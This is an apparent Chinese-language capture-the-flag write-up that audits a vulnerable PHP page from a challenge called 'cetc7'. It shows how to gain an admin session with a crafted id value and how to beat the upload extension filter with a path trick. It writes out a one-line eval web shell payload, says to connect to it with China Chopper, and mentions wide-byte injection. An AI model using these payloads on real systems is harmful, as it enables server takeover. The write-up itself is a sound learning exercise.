瞎分析
感觉就是道php代码审计+文件上传题目
(可能有错,请各位哥哥姐姐们指点指点)
过程
代码如下(示例):
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>cetc7</title>
</head>
<body>
<?php
session_start();
if (!isset($_GET[page])) {
show_source(__FILE__);
die();
}
if (isset($_GET[page]) && $_GET[page] != 'index.php') {
include('flag.php');
}else {
header('Location: ?page=flag.php');
}
?>
<form action="#" method="get">
page : <input type="text" name="page" value="">
id : <input type="text" name="id" value="">
<input type="submit" name="submit" value="submit">
</form>
<br />
<a href="index.phps">view-source</a>
<?php
if ($_SESSION['admin']) {
$con = $_POST['con'];
$file = $_POST['file'];
$filename = "backup/".$file;
if(preg_match('/.+\.ph(p[3457]?|t|tml)$/i', $filename)){
die("Bad file extension");
}else{
chdir('uploaded');
$f = fopen($filename, 'w');
fwrite($f, $con);
fclose($f);
}
}
?>
<?php
if (isset($_GET[id]) && floatval($_GET[id]) !== '1' && substr($_GET[id], -1) === '9') {
include 'config.php';
$id = mysql_real_escape_string($_GET[id]);
$sql="select * from cetc007.user where id='$id'";
$result = mysql_query($sql);
$result = mysql_fetch_object($result);
} else {
$result = False;
die();
}
if(!$result)die("<br >something wae wrong ! <br>");
if($result){
echo "id: ".$result->id."</br>";
echo "name:".$result->user."</br>";
$_SESSION['admin'] = True;
}
?>
</body>
</html>
这里分三个部分去看
第一部分
这里好像没啥
第二部分
这里关键
session=admin才执行下面
con是文件内容
file是文件名字
然后就是对于一些正则绕过和文件过滤
这里先分析过程。做法下面说
然后通过
preg_match(’/.+.ph(p[3457]?|t|tml)$/i’, $filename)
放到uploaded/backup下
第三部分
这里需要
isset($ _ GET [id])不为空
floatval($ _ GET [id])!==‘1’ //浮点不为1
substr($ _ GET [id],-1)==='9‘ //id最后一位为9
具体参考
函数学习
链接: isset.
链接: floatval.
链接: substr.
实验步骤
首先
如何使得
$_SESSION[‘admin’]==true
浮点数!==‘1’,而且id最后一位是9。
我用的是id=1+9
1+9 1-9 1/9 1,9好像都可以
构建playload
第二步
一、文件绕过
backup是假目录需要用…/绕过
其实文件是放在uplaoded/backup下的
…/是用来定位在当前目录的父目录
二、正则过滤
preg_match(’/.+.ph(p[3457]?|t|tml)$/i’, $filename)
这里说传入的数据文件的后缀名不能为
php、php3、php4、php5、php7、pht、phtml
以post的方式传输
正则过滤只过滤最后一个点的后缀名
那么我们可以写多一个.php就可以逃过了
只要id=1+9或者前面说的之类就能session=admin
此时的url=111.200.241.244:30685/index.php?page=flag.php&id=1+9
这里构建playload
以post方式传输
con=<?php @eval($_POST[cmd]);?>&file=haha.php/haha.php/…
再回到
111.200.241.244:30685/uploaded/backup
就能看见你所生成的文件然后用菜刀连接就可以了
最后一些其他
这个有意思的函数我也在书中找到他的用法
具体直接看图emmm
mysql_real_escape_string的作用以及一些绕过方法
参考链接
https://www.cnblogs.com/jylf/archive/2014/03/19/3611489.html
听大佬说可以用宽字节注入绕过但是前提是数据库是GBK编码
总结
这次是一道php代码审计题,再加一点文件上传和正则过滤的熟悉过程。真不错可以学到做题来学习到php。